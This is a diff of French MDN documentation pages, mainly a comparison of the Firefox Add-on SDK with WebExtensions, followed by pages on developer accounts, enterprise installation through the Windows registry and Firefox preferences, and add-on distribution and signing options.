Si vous souhaitez porter une extension de surcouche ou une extension bootstrappée, consultez la page de comparaison des extensions XUL/XPCOM.

+ +

Les WebExtensions et add-ons SDK partagent les mêmes concepts et structures de base. Ces deux technologies utilisent :

+ + + +

Au-delà de ces ressemblances, il existe de nombreuses différences énumérées ci-après.

+ +

Les fichiers de manifeste

+ +

Pour ces deux technologies, on dispose d'un fichier manifeste en JSON situé dans le répertoire racine de l'extension. Dans le SDK, ce fichier est appelé package.json ; pour les WebExtensions, ce fichier s'intitule manifest.json. Les deux fichiers contiennent des métadonnées de base telles que le nom, la description et les icônes de l'extension.

+ +

Cependant, manifest.json contient de nombreuses clés qui définissent certaines capacités et certains comportements de l'extension. Pour le SDK, certaines sont définies dans le code :

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéSDKWebExtensions
Scripts de contenu correspondant aux modèles d'URLAPI page-modClé de manifeste content_scripts
Boutons de la barre d'outilsAPI ui/button/actionClé de manifeste browser_action
Accéder aux API privilégiéesFonction require()Clé de manifeste permissions
+ +

Les WebExtensions sont donc plus déclaratives et moins programmables que les add-ons construits avec le SDK.

+ +

Pour le  SDK, on utilisera généralement jpm init afin de créer un nouveau package.json. La technologie WebExtensions n'a pas d'équivalent de jpm init, le fichier de manifeste sera probablement écrit à partir de zéro ou adapté d'un fichier existant.

+ +

En savoir plus

+ + + +

Scripts persistants

+ +

Les deux technologies utilisent des scripts persistants qui restent chargés pendant que l'extension est active. Ces scripts accèdent à des API privilégiées et peuvent communiquer avec d'autres parties de l'extension telles que les scripts de contenu.

+ +

Dans le SDK, par défaut, ce script est appelé index.js et il peut charger d'autres scripts à l'aide du chargeur de module.

+ +

Avec les WebExtensions, ces scripts sont appelés scripts d'arrière-plan. Vous pouvez définir un ensemble de scripts listés via la clé de manifeste background et tous seront chargés dans le même document (une page HTML vierge cachée et générée automatiquement). Vous pouvez également définir votre propre document personnalisé à l'aide de la clé background.

+ +

Une différence importante est que les scripts d'arrière-plan ont accès à la variable globale  window globale qui permet d'utiliser l'ensemble des objets DOM habituellement présents dans une fenêtre. De cette façon, l'écriture des extensions se rapproche de l'écriture de pages web avec un accès direct à l'ensemble des API Web classiques (par exemple XMLHttpRequest ou IndexedDB).

+ +

On notera également que, par défaut, les extensions ont une politique de sécurité de contenu (CSP) qui leur est appliquée. Vous pouvez spécifier votre propre politique, mais la politique par défaut, entre autres, interdit les pratiques potentiellement dangereuses telles que l'utilisation d'eval().

+ +

En savoir plus

+ + + +

Scripts de contenus

+ +

Pour les extensions SDK et les WebExtensions, les scripts persistants ne peuvent pas accéder directement au contenu des pages web. Au lieu de cela, les extensions peuvent ajouter des scripts de contenu aux pages web. Ces scripts :

+ +
    +
  • accèdent directement au contenu web
    • +
  • n'accèdent pas aux API privilégiées
    • +
  • peuvent communiquer avec les scripts persistants avec une API de messagerie.
    • +
+ +

Pour  les deux technologies, on dispose de deux façons pour ajouter des scripts de contenu : on peut rattacher un ensemble de scripts aux pages dont l'URL contient un motif donné ou on peut, via le code, ajouter un script à une page d'un onglet donné. Si ces mécanismes existent dans les deux technologies, ils sont exécutés différemment :

+ + + + + + + + + + + + + + + + + + + + + +
OpérationSDKWebExtensions
Attacher des scripts à des pages dont l'URL correspond à un motifAPI page-modClé de manifeste content_scripts
Attacher des scripts à des pages hébergées dans un onglettab.attach()tabs.executeScript()
+ +

Les motifs de correspondance utilisés pour les URL sont différentes :

+ + + +

Dans les deux technologies, on peut passer des options pour contrôler lorsque le script s'exécute et s'il sera attaché aux sous-trames. Les  WebExtensions n'ont pas d'équivalent pour contentScriptOptions et, si on veut transmettre les options de configuration à un script de contenu, il faudra les envoyer via un message ou les stocker dans storage.local.

+ +

Dans les deux technologies, les scripts de contenu peuvent communiquer avec des scripts persistants grâce à une API de communication asynchrone :

+ + + + + + + + + + + + + + + + + + + + + +
OpérationSDKWebExtensions
Envoi de  messageport.emit()runtime.sendMessage() / tabs.sendMessage()
Réception de  messageport.on()runtime.onMessage
+ + + +

Dans les deux cas, les scripts de contenus peuvent communiquer avec les scripts chargés par la page à l'aide de window.postMessage et window.addEventListener.

+ +

Dans les deux cas, les scripts accèdent à une vue « propre » du DOM : cela signifie qu'ils ne voient pas les modifications apportées au DOM par les scripts chargés par la page.

+ +

Dans le SDK, les scripts de contenu peuvent partager des objets avec des scripts de page, en utilisant des techniques comme unsafeWindow et createObjectIn. Avec les WebExtensions, la unsafeWindow est disponible par l'intermédiaire de wrappedJSObject. Toutes les fonctions d'aide à l'exportation sont également disponibles.

+ +

En savoir plus

+ + + +

Les éléments d'interface utilisateur (UI)

+ +

Les deux technologies fournissent des API pour créer une interface utilisateur pour l'extension. Les options d'interface utilisateur pour les WebExtensions sont plus limitées.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Elément d'interfaceSDKWebExtensions
Boutonui/button/actionbrowser_action / page_action
Interrupteur / Bouton à basculeui/button/togglebrowser_action / page_action
Barre d'outilsui/toolbarAucun
Barre latéraleui/sidebarsidebar_action
Panneaupanelbrowser_action / page_action popup
Menu contextuelcontext-menucontextMenus
+ +

Panneaux et fenêtres contextuelles

+ +

Les panneaux et les fenêtres contextuelles sont des boites de dialogue transitoires définies à l'aide de HTML, CSS et JavaScript.

+ +

Contrairement aux panneaux, les fenêtres contextuelles sont toujours attachées à un bouton (une action de navigateur ou une action de page) et ne peuvent pas être affichés par programmation : ils ne s'affichent que lorsque l'utilisateur clique sur le bouton.

+ +

Aussi, contrairement aux panneaux, les scripts des fenêtres contextuelles ont accès aux mêmes API que les scripts d'arrière-plan. Ils peuvent même accéder directement à la page d'arrière-plan, via  runtime.getBackgroundPage().

+ +

Paramètres

+ +

Les extensions SDK et les WebExtensions permettent toutes les deux de gérer des paramètres (aussi appelées options ou préférences).

+ +

Avec le fichier SDK, il est possible d'indiquer des paramètres via la clé preferences dans le fichier package.json. L'utilisateur peut voir et modifier ces préférences via l'entrée du Gestionnaire de modules de l'extension. À l'inverse, l'extension peut écouter les changements de paramètres à l'aide de l'API simple-prefs.

+ +

Dans les WebExtensions, vous devrez implémenter votre propre interface utilisateur afin de présenter les paramètres et votre propre code pour les garder en mémoire pour votre extension. Pour cela, on écrira un fichier HTML qui présente les paramètres et qui peut inclure un script permettant de les sauvegarder. Le script a accès à toutes les API des WebExtensions et on utilisera généralement l'API storage pour la mémorisation.

+ +

L'URL du fichier HTML pour l'écran des paramètres doit être indiqué avec la clé options_ui du fichier manifest.json. La page de paramètres apparaît alors dans l'entrée de l'extension sous le Gestionnaire de modules des extensions. La page d'options peut également être ouverte via le code grâce à un appel à browser.runtime.openOptionsPage.

+ +

On notera que les WebExtensions ne permettent pas d'accéder aux préférences du navigateur (c'est-à-dire les préférences exposées dans le SDK par preferences/service). Toutefois, il est possible de modifier certains paramètres du navigateur grâce aux API privacy et browserSettings.

+ +

En apprendre plus

+ + + +

Internationalisation

+ +

Le SDK et les WebExtensions contiennent tous les deux des outils de localisation pour traduire le texte qui sera visible par l'utilisateur. Ces deux outils offrent des fonctionnalités similaires :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitésSDKWebExtensions
Chaînes dans les scripts d'arrière-planOuiOui
Chaînes dans les scripts de contenuNonOui
Chaînes dans les fichiers HTMLOuiNon
Chaînes dans les fichiers CSSNonOui
Titre et descriptionsOuiOui
Gestion des formes pluriellesOuiNon
Textes de substitution (placeholders)OuiOui
+ +

Dans les deux systèmes, les chaînes traduites sont fournies via un ensemble de fichier : un pour chaque locale.

+ +

Pour récupérer les chaînes localisées dans le code de l'extension, on peut utiliser l'API JavaScript l10n dans le SDK et l'API i18n pour les WebExtensions.

+ +

Les WebExtensions ne gèrent pas nativement la localisation des chaînes présentes dans les fichiers HTML : il faut le faire soi-même en utilisant JavaScript pour récupérer des chaînes localisées et pour remplacer dynamiquement le contenu HTML par la version localisée.

+ +

En savoir plus

+ + + +

Outil en ligne de commande

+ +

Le SDK livré avec un outil en ligne de commande : jpm qu'on peut utiliser pour tester et empaqueter les extensions. Il existe un outil équivalent pour les WebExtensions : web-ext. Web-ext ne prend pas en charge les mêmes commandes que jpm, mais gère run, build et sign.

+ +

Il est maintenant possible d'installer (et de recharger) des extensions SDK et les extensions construites avec les API WebExtension dans Firefox à partir de leur répertoire source, sans avoir besoin de les empaqueter dans un fichier XPI. Voir l'installation temporaire dans Firefox.

+ +

En savoir plus

+ + + +

Les API JavaScript

+ +

Que ce soit pour le SDK et les WebExtensions, la puissance des extensions provient d'un ensemble d'API JavaScript dédiées. Pour la plupart des API SDK de haut niveau, il existe un équivalent WebExtensions.

+ +

Une grande limitation de WebExtensions par rapport au SDK est que les modules complémentaires SDK peuvent utiliser require("chrome") pour accéder à la gamme complète des API XPCOM dans Firefox. Ceci n'est pas possible avec WebExtensions.

+ +

Pour accéder aux API privilégiées dans le SDK, on utilise require() :

+ +
var tabs = require("sdk/tabs");
+tabs.open("https://developer.mozilla.org/");
+ +

Avec WebExtensions, la plupart des API sont déjà disponibles, sans avoir besoin de les importer :

+ +
browser.tabs.create({
+  "url": "/"
+});
+ +

Pour certaines API WebExtension, vous devez d'abord demander la permission, en utilisant la clé des permissions de manifest.json. Dans l'exemple ci-dessous, l'extension doit demander l'autorisation "tabs" si elle souhaite accéder à l'URL de l'onglet :

+ +

manifest.json

+ +
...
+
+"permissions": [
+    "tabs"
+  ]
+
+...
+ +

Script d'arrière-plan

+ +
function logUrl(tabs) {
+  console.log(tabs[0].url);
+}
+
+var querying = browser.tabs.query(
+  {active: true, currentWindow: true}
+);
+
+querying.then(logUrl);
+
+ +

Comparaison des API SDK / WebExtension

+ +

Les tableaux de cette section répertorient chaque API du SDK et indiquent l'API WebExtension équivalente si elle existe.

+ +

Le premier tableau couvre les API SDK de haut niveau, le second couvre les API bas niveau.

+ +

API haut niveau

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SDKWebExtensions
addon-pagetabs.create() peut être utilisé pour charger des pages packagées avec l'add-on dans des onglets de navigateur.
base64window.atob() et btoa()
clipboarddocument.execCommand sans select() sur la page d'arrière-plan.
context-menucontextMenus
hotkeyscommands
indexed-dbwindow.indexedDB
l10ni18n
notificationsnotifications
page-modcontent_scripts
page-worker +

Le portage n'est pas terminé et est décrit dans le bug 1318532

+ +

Les méthodes de contournement (qui peuvent avoir besoin de webrequestBlocking pour accéder à l'ensemble des  pages [exemple]) :

+ +
    +
  • Utiliser la page d'arrière-plan
    • +
  • Charger des iframes distantes dans la page d'arrière-plan
    • +
  • Effectuer un appel XHR pour obtenir les informations statiques de la page.
    • +
+
panelVoir la section sur les interfaces utilisateur.
passwordsL'API expérimentale logins
private-browsingTab.incognito et Window.incognito.
querystringwindow.URLSearchParams
requestwindow.fetch ou window.XMLHttpRequest
selectionUtiliser un script de contenu qui envoie la donnée sélectionnée l'add-on. Sinon, si on peut utiliser un menu contextuel sur une sélection, celle-ci sera contenue dans selectionText (contextMenus.OnClickData).
selfruntime.getManifest() et extension.getURL() pour data.url()
simple-prefsstorage et options_ui
simple-storagestorage
systemPartiellement couvert par runtime.
tabstabs
timersalarms
uiVoir la section sur les éléments d'interface.
urlwindow.URL
widgetAucun
windowswindows
+ +

API bas niveau

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SDKWebExtensions
loaderAucun
chromeAucun
console/plain-textAucun
console/tracebackAucun
content/contentAucun
content/loaderAucun
content/modAucun
content/symbiontAucun
content/workerAucun
core/heritageAucun
core/namespaceAucun
core/promisePromise
dev/paneldevtools.panels
event/coreAucun
event/targetAucun
frame/hidden-frameAucun
frame/utilsAucun
fs/pathAucun
io/byte-streamsAucun
io/fileAucun
io/text-streamsAucun
lang/functionalAucun
lang/typeAucun
loader/cuddlefishAucun
loader/sandboxAucun
net/urlAucun
net/xhrwindow.fetch ou window.XMLHttpRequest
places/bookmarksbookmarks
places/faviconAucun
places/historyhistory
platform/xpcomAucun
preferences/event-targetAucun
preferences/servicePrise en charge partielle via les API privacy et browserSettings
remote/childAucun
remote/parentAucun
stylesheet/styleAucun
stylesheet/utilsAucun
system/child_processruntime.connectNative
system/environmentAucun
system/eventsAucun
system/runtimePrise en charge partielle via runtime.getPlatformInfo
system/xul-appPrise en charge partielle via runtime.getBrowserInfo
tabs/utilsAucun
ui/button/actionbrowser_action / page_action
ui/button/togglebrowser_action / page_action
ui/frameAucun
ui/idAucun
ui/sidebarsidebarAction
ui/toolbarAucun
util/arrayAucun
util/collectionAucun
util/deprecateAucun
util/listAucun
util/match-patternAucun
util/objectAucun
util/uuidAucun
window/utilsAucun
diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/developer_accounts/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/developer_accounts/index.html new file mode 100644 index 0000000000..7cd2470cf8 --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/developer_accounts/index.html @@ -0,0 +1,26 @@ +--- +title: Comptes développeurs +slug: Mozilla/Add-ons/WebExtensions/Compte_developpeurs +tags: + - Développement + - Extensions + - publications +translation_of: Mozilla/Add-ons/WebExtensions/Developer_accounts +--- +

{{AddonSidebar}}

+ +

Les comptes développeurs pour addons.mozilla.org sont intégrés aux comptes Firefox, ce qui vous permet d'accéder et de gérer plusieurs services Mozilla depuis un seul compte. Vous pouvez gérer votre compte Firefox à partir de accounts.firefox.com/settings.

+ +

Définition d'un nom d'affichage

+ +

Il est important de définir un nom d'affichage sur votre profil sur addons.mozilla.org pour augmenter la transparence avec les utilisateurs, les évaluateurs et la communauté.

+ +
+

Le nom d'affichage de votre compte Firefox ne sera pas synchronisé avec votre profil sur addons.mozilla.org. Vous devrez définir le nom d'affichage de votre compte développeur à partir de votre profil sur addons.mozilla.org

+
+ +

Comptes bloqués

+ +

Afin d'empêcher les acteurs malveillants de soumettre des spams à addons.mozilla.org, nous n'accepterons pas les soumissions provenant de comptes qui utilisent une adresse e-mail temporaire jetable, ou qui ont soumis plusieurs add-ons qui violent nos Politiques de add-on.

+ +

Si vous pensez que votre compte a été bloqué par erreur, veuillez envoyer un email à amo-admins [at] mozilla [dot] com et inclure un lien vers votre profil développeur.

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/add-ons_for_desktop_apps/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/add-ons_for_desktop_apps/index.html new file mode 100644 index 0000000000..270308150e --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/add-ons_for_desktop_apps/index.html @@ -0,0 +1,30 @@ +--- +title: Extensions pour applications de bureau +slug: >- + Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_for_desktop_apps +tags: + - Add-ons + - Desktop + - Guide + - Installation + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Distribution_options/Add-ons_for_desktop_apps +--- +
{{AddonSidebar()}}
+ +

Si vous avez développé un module complémentaire à une application de bureau, vous pouvez installer le module complémentaire de plusieurs façons :

+ +
    +
  • Dirigez l'utilisateur à installer à partir de addons.mozilla.org (AMO) en offrant un lien.
    • +
  • Chargement latéral.
    • +
  • En utilisant le registre Windows.
    • +
+ +

Parmi ces options, il est recommandé d'indiquer à l'utilisateur d'installer à partir d'AMO en proposant un lien. Les raisons de recommander cette option sont les suivantes :

+ +
    +
  • Cela évite tout problème avec le processus d'installation. l'utilisateur n'obtiendra pas de messages interstitiels pendant l'installation du module complémentaire, trouvera le module complémentaire installé mais sera désactivé ou constatera que le module complémentaire n'a pas été installé.
    • +
  • Si vous mettez à jour le module complémentaire, la nouvelle version sera automatiquement installée, une fois que vous l'aurez téléchargé sur AMO.
    • +
+ +

En revanche, le chargement de fichiers à l'aide des dossiers d'extension standard ou du registre Windows nécessite que votre application de bureau installe toute mise à jour du module complémentaire. En outre, en fonction des paramètres par défaut de Firefox, le processus d'installation présentera des avertissements à l'utilisateur (message interstitiel) ou installera le module en mode silencieux, mais le désactivera. Le pire des cas est que l'installation échouera silencieusement si Firefox est configuré pour désactiver l'installation automatique. Vous pouvez mettre à jour la configuration de Firefox pour éviter ces problèmes, mais ce n'est pas recommandé.

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/add-ons_in_the_enterprise/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/add-ons_in_the_enterprise/index.html new file mode 100644 index 0000000000..4e5d88d0d7 --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/add-ons_in_the_enterprise/index.html @@ -0,0 +1,166 @@ +--- +title: Les Add-ons en entreprise +slug: >- + Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_in_the_enterprise +tags: + - Add-ons + - Guide + - Installation +translation_of: Mozilla/Add-ons/WebExtensions/Distribution_options/Add-ons_in_the_enterprise +--- +
{{AddonSidebar()}}
+ +

En tant qu'administrateur informatique d'entreprise, vous souhaiterez peut-être installer des modules complémentaires automatiquement pour vos utilisateurs. Cette page présente les options.

+ +

Extensions signées et non signées

+ +

Depuis Firefox 43, tous les modules complémentaires doivent être signés avant de pouvoir être installés dans les versions standard ou bêta de Firefox. Les modules non signés peuvent être installés dans les versions Developer Edition, Nightly, et ESR de firefox, après avoir basculé la préférence xpinstall.signatures.required dans about:config.

+ +

Si vous souhaitez installer des modules complémentaires non signés, le déploiement d'une version ESR de Firefox est l'approche recommandée. Une fois cela fait, les add-ons non signés peuvent être installés en utilisant n'importe quelle méthode, y compris l'ouverture du fichier add-on à partir d'une page Web.

+ +

L'approche alternative et recommandée, est d'utiliser l'option pour les add-ons non listés sur addons.mozilla.org (AMO). Cette option signifie que vous pouvez obtenir un module complémentaire signé sans qu'il soit répertorié dans le répertoire des modules complémentaires publics. Cette fonctionnalité fournit un module signé immédiatement. Ce module signé peut ensuite être installé à partir d'une page Web derrière le pare-feu, ou installé en utilisant l'une des options décrites ici.

+ +

Chargement latéral

+ +

Vous pouvez charger un module complémentaire à l'aide de l'un des dossiers d'extension standard, comme décrit dans Installation à l'aide de dossiers d'extension standard.

+ +

Installation à l'aide du registre Windows

+ +

Cette section explique comment installer des modules complémentaires dans Firefox en utilisant le registre Windows.

+ +
Avant Firefox 62, il était possible de charger des extensions décompressées en faisant pointer la clé de registre Windows sur un répertoire contenant une extension non empaquetée. +

À partir de Firefox 62, cela n'est plus possible et la clé doit pointer vers un fichier XPI empaqueté, comme décrit dans cette section.

+
+ +
+

Il est prudent de modifier les clés de registre pendant que Firefox est en cours d'exécution.

+
+ +
    +
  1. Assurez-vous que le module complémentaire possède un ID complémentaire, en incluant ce qui suit dans son fichier manifest.json, en remplaçant your-add-on-name@your-domain.com with par un ID approprié pour votre module complémentaire : + + 
    "applications": {
+   "gecko": {
+     "id": "your-add-on-name@your-domain.com"
+   }
+  }
    + Un identifiant de style d'adresse e-mail est recommandé.
    2. +
  2. Signez votre module dans AMO en utilisant l'option non listée. Pour plus de détails, voir Signature et distribution de votre module complémentaire.
    3. +
  3. Téléchargez le fichier XPI signé et assurez-vous que le nom de fichier est l'ID du module plus l'extension .xpi.  Par exemple, c:/webext/borderify@example.com.xpi
    4. +
  4. Ouvrez Regedit et ajoutez les clés comme suit : +
      +
    • Ajoutez à tous les utilisateurs de l'ordinateur les clés de registre suivantes : + 
      HKEY_LOCAL_MACHINE\Software\Mozilla\Firefox\Extensions
      + +

      ou

      + + 
      HKEY_LOCAL_MACHINE\Software\Wow6432Node\Mozilla\Firefox\Extensions
      + +
      +

      HKEY_LOCAL_MACHINE\Software\Mozilla\Firefox\Extensions n'est pas disponible lors de l'exécution de Firefox 32 bits sur une machine 64 bits, vous ne pouvez installer que pour tous les utilisateurs utilisant la clé  Wow6432Node.

      +
      +
      • +
    • Pour l'utilisateur actuel, ajoutez à la clé de registre suivante : + 
      HKEY_CURRENT_USER\Software\Mozilla\Firefox\Extensions
      +
      • +
    +
    5. +
  5. Créez une nouvelle valeur de chaîne. Entrée de Registre dont le nom est identique à l'ID du module complémentaire, par exemple, borderify@example.com,et une valeur égale à l'emplacement où le module complémentaire est stocké, par exemple, c:/webext/borderify@example.com.xpi.
    6. +
  6. Redémarrez Firefox. Le module complémentaire est détecté, mais l'utilisateur peut se voir présenter un interstitiel ou doit activer le module complémentaire dans le module complémentaire avant de pouvoir l'utiliser. Voir les paramètres de Firefox.)
    7. +
+ +

Si le même add-on apparaît sous HKEY_CURRENT_USER et HKEY_LOCAL_MACHINE, l'instance sous HKEY_CURRENT_USER sera utilisée. Si le même module complémentaire apparaît dans le répertoire de profil de l'utilisateur (par exemple, s'il l'a déjà installé manuellement), cette version aura la priorité sur toutes les instances trouvées dans le Registre.

+ +

Pour supprimer un module installé à l'aide du registre Windows, supprimez simplement l'entrée du Registre. Après la suppression de l'entrée du registre, Firefox détectera le changement la prochaine fois qu'il sera lancé. Il est prudent de modifier les clés de registre pendant que Firefox est en cours d'exécution.

+ +

Si vous installez en utilisant le registre de Windows, Firefox ne mettra pas automatiquement à jour votre module complémentaire. Vous devrez mettre au point le module complémentaire en utilisant n'importe quel processus d'installation externe à Firefox.

+ +

Les paramètres de Firefox

+ +

Deux paramètres affectent l'utilisation d'options d'installation alternatives. La préférence extensions.autoDisableScopes détermine si les modules complémentaires sont installés automatiquement ou après confirmation de l'utilisateur. La préférence extensions.enabledScopes est utilisée pour désactiver l'installation de la plupart des emplacements. En plus de ces options, la méthode de définition de ces préférences par programme est discutée.

+ +

Contrôler l'installation automatique

+ +

Les téléchargements standards de Firefox sont configurés pour que les sideloads utilisant le dossier extensions standard ou le registre Windows, ne s'installent pas automatiquement. Selon la version de Firefox :

+ +
    +
  • l'utilisateur a affiché un avertissement interstitiel :
    + An interstitial warning about the installation of the add-on
    • +
  • le module complémentaire est installé mais désactivé, et l'utilisateur doit l'activer depuis le gestionnaire de modules complémentaires :
    + An add-on is installed but disabled
    • +
+ +

L'utilisation des installations désactivées interstitielles et silencieuses varie selon les versions de Firefox, par exemple, la version 54 utilise le message interstitiel..

+ +

La disponibilité de l'installation automatique est contrôlée par la préférence et le comportement extensions.autoDisableScopes définis par les valeurs suivantes :

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValeurInstallation du champ
1 (or '0b0001')Le profil de l'utilisateur actuel.
2 (or '0b0010')Tous les profils de l'utilisateur connecté
4 (or '0b0100')Installé et détenu par Firefox.
8 (or '0b1000')Installé pour tous les utilisateurs de l'ordinateur.
15 (or '0b1111')La combinaison de tous les champs d'application.
+
+ +

Par défaut, extensions.autoDisableScopes est défini sur 15 afin que les installations automatiques soient désactivées à partir de tous les emplacements. Pour désactiver uniquement un sous-ensemble d'emplacements, définissez la préférence sur la somme des valeurs des emplacements que vous souhaitez désactiver. Par exemple, 3 désactive "Profil de l'utilisateur actuel" et "Tous les profils de l'utilisateur connecté".  La définition de la valeur sur 0 désactive cette fonctionnalité et signifie que tous les modules complémentaires seront installés sans confirmation de l'utilisateur.

+ +

Désactivation des emplacements d'installation

+ +

Dans certaines circonstances, vous pouvez souhaiter que Firefox ignore tout ou partie des emplacements d'installation supplémentaires répertoriés ci-dessus. Dans ce cas, utilisez la préférence extensions.enabledScopes. Par défaut, cette préférence n'est pas incluse dans les téléchargements standard de Firefox, il faudra donc l'ajouter. vous pouvez ajouter la préférence manuellement ou la faire par programmation en suivant les instructions de la section suivante.

+ +
+

Il est impossible de désactiver le chargement de modules complémentaires à partir du répertoire de profil.

+
+ +

Définir les préférences d'étendue par programme

+ +

Utilisez la logique suivante pour définir les valeurs de extensions.autoDisableScopes et extensions.enabledScopes par programme pour vous assurer que les modules complémentaires sont installés automatiquement :

+ +
    +
  1. Editez le fichier de configuration administratif.
    2. +
  2. Vérifiez la présence de lignes définissant les préférences  extensions.autoDisableScopes et/ou extensions.enabledScopes et remplacez-les / ajoutez-les si nécessaire.
    3. +
  3. Ces lignes de préférence doivent être utilisées comme ci-dessous, avec les valeurs de votre choix comme expliqué dans le haut de cette section : + 
    defaultPref("extensions.autoDisableScopes", 0);
+defaultPref("extensions.enabledScopes", 15);
+// Or use binary value like this
+defaultPref("extensions.enabledScopes", 0b1111);
    +
    4. +
+ +
+

Selon cette page : (en date du 28 septembre 2012)
+ “Vous ne pouvez pas définir cette préférence à distance en utilisant les fichiers autoconfig.”
+ Ce qui vous recommande de définir uniquement ces préférences dans un fichier autoconfig local.
+ Si cette information est erronée, ajustez ou supprimez cette note.

+
+ +

Regroupement de modules complémentaires avec un Firefox personnalisé

+ +

Vous pouvez regrouper des modules complémentaires dans un Firefox personnalisé, et ils seront installés automatiquement lorsque l'utilisateur démarre l'application pour la première fois. Voir Personnalisation de Firefox pour plus de détails.

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/index.html new file mode 100644 index 0000000000..1b45607060 --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/index.html @@ -0,0 +1,68 @@ +--- +title: Options de distribution +slug: Mozilla/Add-ons/WebExtensions/Alternative_distribution_options +tags: + - Add-ons + - Installation + - Landing + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Distribution_options +--- +
{{AddonSidebar()}}
+ +

Le processus standard de distribution et d'installation des extensions de navigateur se fait via Firefox en utilisant un fichier XPI signé obtenu à partir de addons.mozilla.org (AMO) (pour les add-ons listés) ou un téléchargement configuré par un développeur (pour les add-ons non listés).

+ +

Nous examinons ici les exigences en matière de signature et les commentaires connexes, avant de discuter de la façon de choisir entre la distribution sur AMO ou la distribution d'une extension de navigateur vous-même. Nous examinons également les canaux disponibles sur AMO et répondons aux questions sur la propriété du code et les litiges.

+ +

Signature de votre extension

+ +

Les extensions de navigateur doivent être signées par Mozilla avant de pouvoir être installées dans les versions release et beta de Firefox. Les thèmes, et d'autres types d'ajouts tels que les dictionnaires d'orthographe, n'ont pas besoin d'être signés.

+ +

Ce processus de signature se fait via addons.mozilla.org (AMO), que vous choisissiez de distribuer votre add-on via AMO ou de le faire vous-même.

+ +

Les extensions non signées peuvent être installées dans les versions Developer Edition, Nightly, et ESR de Firefox, après avoir activé la préférence xpinstall.signatures.required dans  about:config.

+ +

Mozilla signe les extensions de navigateur via le site Web de AMO. Il y a trois façons de soumettre votre extension pour signature :

+ +
    +
  1. téléchargez votre add-on via le Developer Hub sur AMO.
    2. +
  2. utilisez l' API de signature addons.mozilla.org.
    3. +
  3. utilisez le signé web-ext.
    4. +
+ +

Toutes les options de signature sont soumises à l'accord de distribution du module complémentaire Firefox.

+ +

Si vous téléchargez votre extension via le centre de développement AMO, vous avez le choix entre l'inscription sur AMO ou l'auto-distribution. Si vous choisissez l'auto-distribution, à la fin du processus, vous téléchargez des copies signées de votre add-on.

+ +

L'utilisation de l'API de signature ou du web-ext renvoie vos add-ons signés, sans qu'aucune liste de distribution ne soit créée sur AMO.

+ +

Quelle que soit la méthode utilisée, tous les add-ons doivent passer une validation automatisée avant d'être signés. Ils peuvent également faire l'objet d'un examen manuel du code. Les critères d'examen appliqués aux prorogations se trouvent dans la polique complémentaire.

+ +

Distribuer votre extension

+ +

Vous n'êtes pas tenu d'inscrire ou de distribuer votre poste par l'entremise de l'AMO. Vous devrez décider si vous voulez distribuer et inscrire votre extension par l'entremise de l'AMO ou si vous voulez la distribuer vous-même. Voici quelques points à prendre en considération :

+ +
    +
  • AMO est une plateforme de distribution très populaire, avec des millions de visiteurs et d'installations mensuels.
    • +
  • AMO est intégré dans le gestionnaire de modules complémentaires Firefox, ce qui facilite l'installation des extensions publiées sur AMO.
    • +
  • Lorsqu'une extension est listée dans AMO, les mises à jour des copies installées sont gérées automatiquement par Firefox chaque fois qu'une nouvelle version est listée dans AMO.
    • +
  • L'URL où Firefox peut trouver les mises à jour doit être incluse dans la clé update_link du manifest d'extension pour que Firefox puisse effectuer des mises à jour automatiques. Les extensions auto-distribuées qui n'ont pas d'URL de mise à jour vérifient AMO pour les mises à jour et sont mises à jour vers une version listée, si elle est disponible.
    • +
+ +

Pour plus d'informations sur la façon de soumettre un add-on pour distribution sur AMO ou auto-distribution, voir Soumettre une extension.

+ +

Autres options de distribution

+ +

Ces méthodes peuvent ne pas convenir à tout le monde, par exemple, lorsqu'une extension de navigateur est fournie avec une application native ou lorsqu'une entreprise souhaite installer une extension pour toutes ses instances de Firefox. Cette section décrit les solutions de rechange.

+ +
    +
  • +

    Sideloading add-ons — permet à un utilisateur d'installer une extension en utilisant un fichier XPI enregistré sur son ordinateur.

    +
    • +
  • +

    Add-ons for use with a desktop app — cette section décrit les meilleures pratiques pour fournir une extension à utiliser avec une application de bureau.

    +
    • +
  • +

    Add-ons in an enterprise environment — cette page traite de l'utilisation des extensions signées par rapport aux extensions non signées, des options d'installation, des paramètres Firefox affectant l'installation, et de l'inclusion des add-ons avec un paquet d'installation Firefox personnalisé.

    +
    • +
